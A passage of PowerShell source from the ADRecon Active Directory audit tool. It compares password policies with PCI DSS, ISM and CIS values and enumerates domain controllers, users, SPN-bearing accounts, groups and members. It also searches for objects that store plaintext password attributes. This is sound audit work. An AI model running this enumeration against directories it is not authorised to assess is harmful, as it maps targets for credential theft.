"Minimum password age (days)", $ADpasspolicy.MinPasswordAge.days, "N/A", "-", "1", "Control: 0423", "1 or more",
"Minimum password length (characters)", $ADpasspolicy.MinPasswordLength, "7", "Req. 8.2.3", "13", "Control: 0421", "14 or more",
"Password must meet complexity requirements", $ADpasspolicy.ComplexityEnabled, $true, "Req. 8.2.3", $true, "Control: 0421", $true,
"Store password using reversible encryption for all users in the domain", $ADpasspolicy.ReversibleEncryptionEnabled, "N/A", "-", "N/A", "-", $false,
"Account lockout duration (mins)", $ADpasspolicy.LockoutDuration.minutes, "0 (manual unlock) or 30", "Req. 8.1.7", "N/A", "-", "15 or more",
"Account lockout threshold (attempts)", $ADpasspolicy.LockoutThreshold, "1 to 6", "Req. 8.1.6", "1 to 5", "Control: 1403", "1 to 10",
"Reset account lockout counter after (mins)", $ADpasspolicy.LockoutObservationWindow.minutes, "N/A", "-", "N/A", "-", "15 or more" )
Remove-Variable ADpasspolicy
}
}
If ($Protocol -eq 'LDAP')
{
If ($ObjDomain)
{
#Value taken from https://msdn.microsoft.com/en-us/library/ms679431(v=vs.85).aspx
$pwdProperties = @{
"DOMAIN_PASSWORD_COMPLEX" = 1;
"DOMAIN_PASSWORD_NO_ANON_CHANGE" = 2;
"DOMAIN_PASSWORD_NO_CLEAR_CHANGE" = 4;
"DOMAIN_LOCKOUT_ADMINS" = 8;
"DOMAIN_PASSWORD_STORE_CLEARTEXT" = 16;
"DOMAIN_REFUSE_PASSWORD_CHANGE" = 32
}
If (($ObjDomain.pwdproperties.value -band $pwdProperties["DOMAIN_PASSWORD_COMPLEX"]) -eq $pwdProperties["DOMAIN_PASSWORD_COMPLEX"])
{
$ComplexPasswords = $true
}
Else
{
$ComplexPasswords = $false
}
If (($ObjDomain.pwdproperties.value -band $pwdProperties["DOMAIN_PASSWORD_STORE_CLEARTEXT"]) -eq $pwdProperties["DOMAIN_PASSWORD_STORE_CLEARTEXT"])
{
$ReversibleEncryption = $true
}
Else
{
$ReversibleEncryption = $false
}
$LockoutDuration = $($ObjDomain.ConvertLargeIntegerToInt64($ObjDomain.lockoutduration.value)/-600000000)
If ($LockoutDuration -gt 99999)
{
$LockoutDuration = 0
}
$ObjValues = @( "Enforce password history (passwords)", $ObjDomain.PwdHistoryLength.value, "4", "Req. 8.2.5", "8", "Control: 0423", "24 or more",
"Maximum password age (days)", $($ObjDomain.ConvertLargeIntegerToInt64($ObjDomain.maxpwdage.value) /-864000000000), "90", "Req. 8.2.4", "90", "Control: 0423", "1 to 60",
"Minimum password age (days)", $($ObjDomain.ConvertLargeIntegerToInt64($ObjDomain.minpwdage.value) /-864000000000), "N/A", "-", "1", "Control: 0423", "1 or more",
"Minimum password length (characters)", $ObjDomain.MinPwdLength.value, "7", "Req. 8.2.3", "13", "Control: 0421", "14 or more",
"Password must meet complexity requirements", $ComplexPasswords, $true, "Req. 8.2.3", $true, "Control: 0421", $true,
"Store password using reversible encryption for all users in the domain", $ReversibleEncryption, "N/A", "-", "N/A", "-", $false,
"Account lockout duration (mins)", $LockoutDuration, "0 (manual unlock) or 30", "Req. 8.1.7", "N/A", "-", "15 or more",
"Account lockout threshold (attempts)", $ObjDomain.LockoutThreshold.value, "1 to 6", "Req. 8.1.6", "1 to 5", "Control: 1403", "1 to 10",
"Reset account lockout counter after (mins)", $($ObjDomain.ConvertLargeIntegerToInt64($ObjDomain.lockoutobservationWindow.value)/-600000000), "N/A", "-", "N/A", "-", "15 or more" )
Remove-Variable pwdProperties
Remove-Variable ComplexPasswords
Remove-Variable ReversibleEncryption
}
}
If ($ObjValues)
{
$ADPassPolObj = @()
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Policy" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Current Value" -Value $ObjValues[$i+1]
$Obj | Add-Member -MemberType NoteProperty -Name "PCI DSS Requirement" -Value $ObjValues[$i+2]
$Obj | Add-Member -MemberType NoteProperty -Name "PCI DSS v3.2.1" -Value $ObjValues[$i+3]
$Obj | Add-Member -MemberType NoteProperty -Name "ASD ISM" -Value $ObjValues[$i+4]
$Obj | Add-Member -MemberType NoteProperty -Name "2018 ISM Controls" -Value $ObjValues[$i+5]
$Obj | Add-Member -MemberType NoteProperty -Name "CIS Benchmark 2016" -Value $ObjValues[$i+6]
$i += 6
$ADPassPolObj += $Obj
}
Remove-Variable ObjValues
Return $ADPassPolObj
}
Else
{
Return $null
}
}
Function Get-ADRFineGrainedPasswordPolicy
{
<#
.SYNOPSIS
Returns the Fine Grained Password Policy of the current (or specified) domain.
.DESCRIPTION
Returns the Fine Grained Password Policy of the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADFinepasspolicy = Get-ADFineGrainedPasswordPolicy -Filter *
}
Catch
{
Write-Warning "[Get-ADRFineGrainedPasswordPolicy] Error while enumerating the Fine Grained Password Policy"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADFinepasspolicy)
{
$ADPassPolObj = @()
$ADFinepasspolicy | ForEach-Object {
For($i=0; $i -lt $($_.AppliesTo.Count); $i++)
{
$AppliesTo = $AppliesTo + "," + $_.AppliesTo[$i]
}
If ($null -ne $AppliesTo)
{
$AppliesTo = $AppliesTo.TrimStart(",")
}
$ObjValues = @("Name", $($_.Name), "Applies To", $AppliesTo, "Enforce password history", $_.PasswordHistoryCount, "Maximum password age (days)", $_.MaxPasswordAge.days, "Minimum password age (days)", $_.MinPasswordAge.days, "Minimum password length", $_.MinPasswordLength, "Password must meet complexity requirements", $_.ComplexityEnabled, "Store password using reversible encryption", $_.ReversibleEncryptionEnabled, "Account lockout duration (mins)", $_.LockoutDuration.minutes, "Account lockout threshold", $_.LockoutThreshold, "Reset account lockout counter after (mins)", $_.LockoutObservationWindow.minutes, "Precedence", $($_.Precedence))
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Policy" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$ADPassPolObj += $Obj
}
}
Remove-Variable ADFinepasspolicy
}
}
If ($Protocol -eq 'LDAP')
{
If ($ObjDomain)
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=msDS-PasswordSettings)"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADFinepasspolicy = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRFineGrainedPasswordPolicy] Error while enumerating the Fine Grained Password Policy"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADFinepasspolicy)
{
If ([ADRecon.LDAPClass]::ObjectCount($ADFinepasspolicy) -ge 1)
{
$ADPassPolObj = @()
$ADFinepasspolicy | ForEach-Object {
For($i=0; $i -lt $($_.Properties.'msds-psoappliesto'.Count); $i++)
{
$AppliesTo = $AppliesTo + "," + $_.Properties.'msds-psoappliesto'[$i]
}
If ($null -ne $AppliesTo)
{
$AppliesTo = $AppliesTo.TrimStart(",")
}
$ObjValues = @("Name", $($_.Properties.name), "Applies To", $AppliesTo, "Enforce password history", $($_.Properties.'msds-passwordhistorylength'), "Maximum password age (days)", $($($_.Properties.'msds-maximumpasswordage') /-864000000000), "Minimum password age (days)", $($($_.Properties.'msds-minimumpasswordage') /-864000000000), "Minimum password length", $($_.Properties.'msds-minimumpasswordlength'), "Password must meet complexity requirements", $($_.Properties.'msds-passwordcomplexityenabled'), "Store password using reversible encryption", $($_.Properties.'msds-passwordreversibleencryptionenabled'), "Account lockout duration (mins)", $($($_.Properties.'msds-lockoutduration')/-600000000), "Account lockout threshold", $($_.Properties.'msds-lockoutthreshold'), "Reset account lockout counter after (mins)", $($($_.Properties.'msds-lockoutobservationwindow')/-600000000), "Precedence", $($_.Properties.'msds-passwordsettingsprecedence'))
For ($i = 0; $i -lt $($ObjValues.Count); $i++)
{
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Policy" -Value $ObjValues[$i]
$Obj | Add-Member -MemberType NoteProperty -Name "Value" -Value $ObjValues[$i+1]
$i++
$ADPassPolObj += $Obj
}
}
}
Remove-Variable ADFinepasspolicy
}
}
}
If ($ADPassPolObj)
{
Return $ADPassPolObj
}
Else
{
Return $null
}
}
Function Get-ADRDomainController
{
<#
.SYNOPSIS
Returns the domain controllers for the current (or specified) forest.
.DESCRIPTION
Returns the domain controllers for the current (or specified) forest.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER Credential
[Management.Automation.PSCredential]
Credentials.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $false)]
[Management.Automation.PSCredential] $Credential = [Management.Automation.PSCredential]::Empty
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDomainControllers = Get-ADDomainController -Filter *
}
Catch
{
Write-Warning "[Get-ADRDomainController] Error while enumerating DomainController Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
# DC Info
If ($ADDomainControllers)
{
Write-Verbose "[*] Total Domain Controllers: $([ADRecon.ADWSClass]::ObjectCount($ADDomainControllers))"
# DC Info
$DCObj = @()
$ADDomainControllers | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Domain" -Value $_.Domain
$Obj | Add-Member -MemberType NoteProperty -Name "Site" -Value $_.Site
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value $_.Name
$Obj | Add-Member -MemberType NoteProperty -Name "IPv4Address" -Value $_.IPv4Address
$OSVersion = [ADRecon.ADWSClass]::CleanString($($_.OperatingSystem + " " + $_.OperatingSystemHotfix + " " + $_.OperatingSystemServicePack + " " + $_.OperatingSystemVersion))
$Obj | Add-Member -MemberType NoteProperty -Name "Operating System" -Value $OSVersion
Remove-Variable OSVersion
$Obj | Add-Member -MemberType NoteProperty -Name "Hostname" -Value $_.HostName
If ($_.OperationMasterRoles -like 'DomainNamingMaster')
{
$Obj | Add-Member -MemberType NoteProperty -Name "Naming" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Naming" -Value $false
}
If ($_.OperationMasterRoles -like 'SchemaMaster')
{
$Obj | Add-Member -MemberType NoteProperty -Name "Schema" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Schema" -Value $false
}
If ($_.OperationMasterRoles -like 'InfrastructureMaster')
{
$Obj | Add-Member -MemberType NoteProperty -Name "Infra" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "Infra" -Value $false
}
If ($_.OperationMasterRoles -like 'RIDMaster')
{
$Obj | Add-Member -MemberType NoteProperty -Name "RID" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "RID" -Value $false
}
If ($_.OperationMasterRoles -like 'PDCEmulator')
{
$Obj | Add-Member -MemberType NoteProperty -Name "PDC" -Value $true
}
Else
{
$Obj | Add-Member -MemberType NoteProperty -Name "PDC" -Value $false
}
$DCSMBObj = [ADRecon.PingCastleScannersSMBScanner]::GetPSObject($_.IPv4Address)
ForEach ($Property in $DCSMBObj.psobject.Properties)
{
$Obj | Add-Member -MemberType NoteProperty -Name $Property.Name -Value $Property.value
}
$DCObj += $Obj
}
Remove-Variable ADDomainControllers
}
}
If ($Protocol -eq 'LDAP')
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$DomainFQDN = Get-DNtoFQDN($objDomain.distinguishedName)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$($DomainFQDN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Try
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
Catch
{
Write-Warning "[Get-ADRDomainController] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Remove-Variable DomainContext
}
Else
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
}
If ($ADDomain.DomainControllers)
{
Write-Verbose "[*] Total Domain Controllers: $([ADRecon.LDAPClass]::ObjectCount($ADDomain.DomainControllers))"
# DC Info
$DCObj = @()
$ADDomain.DomainControllers | ForEach-Object {
# Create the object for each instance.
$Obj = New-Object PSObject
$Obj | Add-Member -MemberType NoteProperty -Name "Domain" -Value $_.Domain
$Obj | Add-Member -MemberType NoteProperty -Name "Site" -Value $_.SiteName
$Obj | Add-Member -MemberType NoteProperty -Name "Name" -Value ($_.Name -Split ("\."))[0]
$Obj | Add-Member -MemberType NoteProperty -Name "IPAddress" -Value $_.IPAddress
$Obj | Add-Member -MemberType NoteProperty -Name "Operating System" -Value $_.OSVersion
$Obj | Add-Member -MemberType NoteProperty -Name "Hostname" -Value $_.Name
If ($null -ne $_.Roles)
{
$Obj | Add-Member -MemberType NoteProperty -Name "Naming" -Value $($_.Roles.Contains("NamingRole"))
$Obj | Add-Member -MemberType NoteProperty -Name "Schema" -Value $($_.Roles.Contains("SchemaRole"))
$Obj | Add-Member -MemberType NoteProperty -Name "Infra" -Value $($_.Roles.Contains("InfrastructureRole"))
$Obj | Add-Member -MemberType NoteProperty -Name "RID" -Value $($_.Roles.Contains("RidRole"))
$Obj | Add-Member -MemberType NoteProperty -Name "PDC" -Value $($_.Roles.Contains("PdcRole"))
}
Else
{
"Naming", "Schema", "Infra", "RID", "PDC" | ForEach-Object {
$Obj | Add-Member -MemberType NoteProperty -Name $_ -Value $false
}
}
$DCSMBObj = [ADRecon.PingCastleScannersSMBScanner]::GetPSObject($_.IPAddress)
ForEach ($Property in $DCSMBObj.psobject.Properties)
{
$Obj | Add-Member -MemberType NoteProperty -Name $Property.Name -Value $Property.value
}
$DCObj += $Obj
}
Remove-Variable ADDomain
}
}
If ($DCObj)
{
Return $DCObj
}
Else
{
Return $null
}
}
Function Get-ADRUser
{
<#
.SYNOPSIS
Returns all users in the current (or specified) domain.
.DESCRIPTION
Returns all users in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER date
[DateTime]
Date when ADRecon was executed.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER DormantTimeSpan
[int]
Timespan for Dormant accounts. Default 90 days.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $true)]
[DateTime] $date,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $DormantTimeSpan = 90,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADUsers = @( Get-ADUser -Filter * -ResultPageSize $PageSize -Properties AccountExpirationDate,accountExpires,AccountNotDelegated,AdminCount,AllowReversiblePasswordEncryption,c,CannotChangePassword,CanonicalName,Company,Department,Description,DistinguishedName,DoesNotRequirePreAuth,Enabled,givenName,homeDirectory,Info,LastLogonDate,lastLogonTimestamp,LockedOut,LogonWorkstations,mail,Manager,middleName,mobile,'msDS-AllowedToDelegateTo','msDS-SupportedEncryptionTypes',Name,PasswordExpired,PasswordLastSet,PasswordNeverExpires,PasswordNotRequired,primaryGroupID,profilePath,pwdlastset,SamAccountName,ScriptPath,SID,SIDHistory,SmartcardLogonRequired,sn,Title,TrustedForDelegation,TrustedToAuthForDelegation,UseDESKeyOnly,UserAccountControl,whenChanged,whenCreated )
}
Catch
{
Write-Warning "[Get-ADRUser] Error while enumerating User Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADUsers)
{
Try
{
$ADpasspolicy = Get-ADDefaultDomainPasswordPolicy
$PassMaxAge = $ADpasspolicy.MaxPasswordAge.days
Remove-Variable ADpasspolicy
}
Catch
{
Write-Warning "[Get-ADRUser] Error retrieving Max Password Age from the Default Password Policy. Using value as 90 days"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$PassMaxAge = 90
}
Write-Verbose "[*] Total Users: $([ADRecon.ADWSClass]::ObjectCount($ADUsers))"
$UserObj = [ADRecon.ADWSClass]::UserParser($ADUsers, $date, $DormantTimeSpan, $PassMaxAge, $Threads)
Remove-Variable ADUsers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(samAccountType=805306368)"
# https://msdn.microsoft.com/en-us/library/system.directoryservices.securitymasks(v=vs.110).aspx
$ObjSearcher.SecurityMasks = [System.DirectoryServices.SecurityMasks]'Dacl'
$ObjSearcher.PropertiesToLoad.AddRange(("accountExpires","admincount","c","canonicalname","company","department","description","distinguishedname","givenName","homedirectory","info","lastLogontimestamp","mail","manager","middleName","mobile","msDS-AllowedToDelegateTo","msDS-SupportedEncryptionTypes","name","ntsecuritydescriptor","objectsid","primarygroupid","profilepath","pwdLastSet","samaccountName","scriptpath","sidhistory","sn","title","useraccountcontrol","userworkstations","whenchanged","whencreated"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADUsers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRUser] Error while enumerating User Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADUsers)
{
$PassMaxAge = $($ObjDomain.ConvertLargeIntegerToInt64($ObjDomain.maxpwdage.value) /-864000000000)
If (-Not $PassMaxAge)
{
Write-Warning "[Get-ADRUser] Error retrieving Max Password Age from the Default Password Policy. Using value as 90 days"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
$PassMaxAge = 90
}
Write-Verbose "[*] Total Users: $([ADRecon.LDAPClass]::ObjectCount($ADUsers))"
$UserObj = [ADRecon.LDAPClass]::UserParser($ADUsers, $date, $DormantTimeSpan, $PassMaxAge, $Threads)
Remove-Variable ADUsers
}
}
If ($UserObj)
{
Return $UserObj
}
Else
{
Return $null
}
}
Function Get-ADRUserSPN
{
<#
.SYNOPSIS
Returns all user service principal name (SPN) in the current (or specified) domain.
.DESCRIPTION
Returns all user service principal name (SPN) in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADUsers = @( Get-ADObject -LDAPFilter "(&(samAccountType=805306368)(servicePrincipalName=*))" -Properties Name,Description,memberOf,sAMAccountName,servicePrincipalName,primaryGroupID,pwdLastSet,userAccountControl -ResultPageSize $PageSize )
}
Catch
{
Write-Warning "[Get-ADRUserSPN] Error while enumerating UserSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADUsers)
{
Write-Verbose "[*] Total UserSPNs: $([ADRecon.ADWSClass]::ObjectCount($ADUsers))"
$UserSPNObj = [ADRecon.ADWSClass]::UserSPNParser($ADUsers, $Threads)
Remove-Variable ADUsers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(&(samAccountType=805306368)(servicePrincipalName=*))"
$ObjSearcher.PropertiesToLoad.AddRange(("name","description","memberof","samaccountname","serviceprincipalname","primarygroupid","pwdlastset","useraccountcontrol"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADUsers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRUserSPN] Error while enumerating UserSPN Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADUsers)
{
Write-Verbose "[*] Total UserSPNs: $([ADRecon.LDAPClass]::ObjectCount($ADUsers))"
$UserSPNObj = [ADRecon.LDAPClass]::UserSPNParser($ADUsers, $Threads)
Remove-Variable ADUsers
}
}
If ($UserSPNObj)
{
Return $UserSPNObj
}
Else
{
Return $null
}
}
#TODO
Function Get-ADRPasswordAttributes
{
<#
.SYNOPSIS
Returns all objects with plaintext passwords in the current (or specified) domain.
.DESCRIPTION
Returns all objects with plaintext passwords in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.OUTPUTS
PSObject.
.LINK
https://www.ibm.com/support/knowledgecenter/en/ssw_aix_71/com.ibm.aix.security/ad_password_attribute_selection.htm
https://msdn.microsoft.com/en-us/library/cc223248.aspx
https://msdn.microsoft.com/en-us/library/cc223249.aspx
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADUsers = Get-ADObject -LDAPFilter '(|(UserPassword=*)(UnixUserPassword=*)(unicodePwd=*)(msSFU30Password=*))' -ResultPageSize $PageSize -Properties *
}
Catch
{
Write-Warning "[Get-ADRPasswordAttributes] Error while enumerating Password Attributes"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADUsers)
{
Write-Warning "[*] Total PasswordAttribute Objects: $([ADRecon.ADWSClass]::ObjectCount($ADUsers))"
$UserObj = $ADUsers
Remove-Variable ADUsers
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(|(UserPassword=*)(UnixUserPassword=*)(unicodePwd=*)(msSFU30Password=*))"
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADUsers = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRPasswordAttributes] Error while enumerating Password Attributes"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADUsers)
{
$cnt = [ADRecon.LDAPClass]::ObjectCount($ADUsers)
If ($cnt -gt 0)
{
Write-Warning "[*] Total PasswordAttribute Objects: $cnt"
}
$UserObj = $ADUsers
Remove-Variable ADUsers
}
}
If ($UserObj)
{
Return $UserObj
}
Else
{
Return $null
}
}
Function Get-ADRGroup
{
<#
.SYNOPSIS
Returns all groups in the current (or specified) domain.
.DESCRIPTION
Returns all groups in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADGroups = @( Get-ADGroup -Filter * -ResultPageSize $PageSize -Properties AdminCount,CanonicalName,DistinguishedName,Description,GroupCategory,GroupScope,SamAccountName,SID,SIDHistory,managedBy,whenChanged,whenCreated )
}
Catch
{
Write-Warning "[Get-ADRGroup] Error while enumerating Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ($ADGroups)
{
Write-Verbose "[*] Total Groups: $([ADRecon.ADWSClass]::ObjectCount($ADGroups))"
$GroupObj = [ADRecon.ADWSClass]::GroupParser($ADGroups, $Threads)
Remove-Variable ADGroups
}
}
If ($Protocol -eq 'LDAP')
{
$objSearcher = New-Object System.DirectoryServices.DirectorySearcher $objDomain
$ObjSearcher.PageSize = $PageSize
$ObjSearcher.Filter = "(objectClass=group)"
$ObjSearcher.PropertiesToLoad.AddRange(("admincount","canonicalname", "distinguishedname", "description", "grouptype","samaccountname", "sidhistory", "managedby", "objectsid", "whencreated", "whenchanged"))
$ObjSearcher.SearchScope = "Subtree"
Try
{
$ADGroups = $ObjSearcher.FindAll()
}
Catch
{
Write-Warning "[Get-ADRGroup] Error while enumerating Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
$ObjSearcher.dispose()
If ($ADGroups)
{
Write-Verbose "[*] Total Groups: $([ADRecon.LDAPClass]::ObjectCount($ADGroups))"
$GroupObj = [ADRecon.LDAPClass]::GroupParser($ADGroups, $Threads)
Remove-Variable ADGroups
}
}
If ($GroupObj)
{
Return $GroupObj
}
Else
{
Return $null
}
}
Function Get-ADRGroupMember
{
<#
.SYNOPSIS
Returns all groups and their members in the current (or specified) domain.
.DESCRIPTION
Returns all groups and their members in the current (or specified) domain.
.PARAMETER Protocol
[string]
Which protocol to use; ADWS (default) or LDAP.
.PARAMETER objDomain
[DirectoryServices.DirectoryEntry]
Domain Directory Entry object.
.PARAMETER PageSize
[int]
The PageSize to set for the LDAP searcher object. Default 200.
.PARAMETER Threads
[int]
The number of threads to use during processing of objects. Default 10.
.OUTPUTS
PSObject.
#>
param(
[Parameter(Mandatory = $true)]
[string] $Protocol,
[Parameter(Mandatory = $false)]
[DirectoryServices.DirectoryEntry] $objDomain,
[Parameter(Mandatory = $true)]
[int] $PageSize,
[Parameter(Mandatory = $false)]
[int] $Threads = 10
)
If ($Protocol -eq 'ADWS')
{
Try
{
$ADDomain = Get-ADDomain
$ADDomainSID = $ADDomain.DomainSID.Value
Remove-Variable ADDomain
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Try
{
$ADGroups = $ADGroups = @( Get-ADGroup -Filter * -ResultPageSize $PageSize -Properties SamAccountName,SID )
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error while enumerating Group Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
Try
{
$ADGroupMembers = @( Get-ADObject -LDAPFilter '(|(memberof=*)(primarygroupid=*))' -Properties DistinguishedName,memberof,primaryGroupID,sAMAccountName,samaccounttype )
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error while enumerating GroupMember Objects"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
If ( ($ADDomainSID) -and ($ADGroups) -and ($ADGroupMembers) )
{
Write-Verbose "[*] Total GroupMember Objects: $([ADRecon.ADWSClass]::ObjectCount($ADGroupMembers))"
$GroupMemberObj = [ADRecon.ADWSClass]::GroupMemberParser($ADGroups, $ADGroupMembers, $ADDomainSID, $Threads)
Remove-Variable ADGroups
Remove-Variable ADGroupMembers
Remove-Variable ADDomainSID
}
}
If ($Protocol -eq 'LDAP')
{
If ($Credential -ne [Management.Automation.PSCredential]::Empty)
{
$DomainFQDN = Get-DNtoFQDN($objDomain.distinguishedName)
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Domain",$($DomainFQDN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
Try
{
$ADDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error getting Domain Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
Return $null
}
Remove-Variable DomainContext
Try
{
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("Forest",$($ADDomain.Forest),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
$ADForest = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
}
Catch
{
Write-Warning "[Get-ADRGroupMember] Error getting Forest Context"
Write-Verbose "[EXCEPTION] $($_.Exception.Message)"
}
If ($ForestContext)
{
Remove-Variable ForestContext
}
If ($ADForest)
{
$GlobalCatalog = $ADForest.FindGlobalCatalog()
}
If ($GlobalCatalog)
{
$DN = "GC://$($GlobalCatalog.IPAddress)/$($objDomain.distinguishedname)"
Try
{
$ADObject = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList ($($DN),$($Credential.UserName),$($Credential.GetNetworkCredential().password))
